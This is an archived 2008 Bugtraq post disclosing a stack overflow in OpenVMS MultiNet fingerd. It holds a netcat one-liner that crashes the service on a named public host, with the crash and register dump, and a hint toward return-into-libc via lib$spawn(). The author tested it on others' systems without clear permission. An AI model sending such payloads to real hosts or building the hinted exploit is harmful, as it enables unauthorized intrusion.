bugtraq - OpenVMS fingerd remote stack overflow

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Date: Thu, 7 Aug 2008 00:08:53 +0100
From: Shaun Colley <scolleyuk@...mail.co.uk>
To: <bugtraq@...urityfocus.com>
Subject: OpenVMS fingerd remote stack overflow

sup bugtraq.

Since a group of lads are giving a talk on Hacking OpenVMS at defcon I figured I'd release a vulnerability in the OpenVMS finger service (part of the MultiNet package) to give people a few days to figure out an exploit before the methods are documented for us by the guys giving the talk. (assume they will be)

The MultiNet finger service runs on port 79 by default (like other finger servers) and takes a username to query.  A long string (~250+ or so bytes) will cause
a stack overflow, giving control of a saved return address and hence the program counter (PC).  Demonstrated below on a public OpenVMS system..
(hopefully the owners won't mind since they seem to encourage OpenVMS hack attempts on their systems)

-----------
shauny@...alhost # echo `perl -e 'print "a"x1000'` | nc -v dahmer.vistech.net 79

 ?Sorry,
could not find
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA"
%SYSTEM-F-ACCVIO,
access violation, reason mask=00, virtual address=4141414141414140,
PC=4141414141414140, PS=0000001B%SYSTEM-F-ACCVIO, access violation,
reason mask=00, virtual address=4141414141414140, PC=4141414141414140,
PS=0000001B  Improperly handled condition, image exit forced.
Improperly handled condition, image exit forced.    Signal arguments:
Number = 0000000000000005

[SNIP]

000000000000001B                                 000000000000001B
Register dump:    Register dump:    R0  = 000000000000011A  R1  =
00000000011A0001  R2  = 4141414141414141    R0  = 000000000000011A  R1
= 00000000011A0001  R2  = 4141414141414141    R3  = 4141414141414141
R4  = 4141414141414141  R5  = 4141414141414141    R3  =
4141414141414141  R4  = 4141414141414141  R5  = 4141414141414141    R6
= 0000000000000002  R7  = 0000000000000001  R8  = 0000000000000000
R6  = 0000000000000002  R7  =

[SNIP]

 etc..
-----------

For running arbitrary code...The main architectures running OpenVMS (Alpha, VAX) have Page Table Entries set such that the Fault-on-execute bit is set for 
the user stack...i.e. equivalent to a non-executable stack on other modern operating systems.

However this doesn't stop a "return-into-libc" type attack...library functions can be returned into.  One possible candidate is returning into the lib$spawn() library function.

Take it easy.

---
Shaun Colley
NGSSoftware

Take everything with a handful of salt
_________________________________________________________________
Get Hotmail on your mobile from Vodafone 
http://clk.atdmt.com/UKM/go/107571435/direct/01/